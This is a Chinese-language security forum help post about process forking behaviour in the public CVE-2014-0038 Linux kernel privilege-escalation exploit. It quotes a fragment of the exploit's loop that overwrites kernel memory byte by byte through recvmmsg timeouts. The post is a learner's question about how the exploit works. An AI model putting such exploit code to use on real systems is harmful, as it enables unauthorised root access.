-
-
[求助] CVE-2014-0038 EXP 多进程问题
-
发表于:
2018-8-21 07:13
3477
-
[求助] CVE-2014-0038 EXP 多进程问题
CVE-2014-0038 EXP 多进程问题
1. 问题代码
void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;
if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}
}
....
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
2.问题描述
上述代码中for
循环三次调用udp
函数,对最高位进行溢出.
- 运行此
exp
为什么没有出现乱序执行的情况?(如果父进程没有相关控制, 子进程一般会乱序执行)
- 每次只有一个子进程被
fork
出来, 而不是一次性fork
三个?(从代码来看确实会几乎同时fork
三个的)
- 这两个问题总结成一个:从整体代码来看, 父进程应该会几乎同时
fork
出三个子进程,这三个子进程乱序执行. 实际情况确实, 每次溢出的时候,只存在一个子进程和父进程, 这个子进程进行相关的溢出活动. 为什么会出现这种情况呢?
截图:
相关博文
链接
看雪贴
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)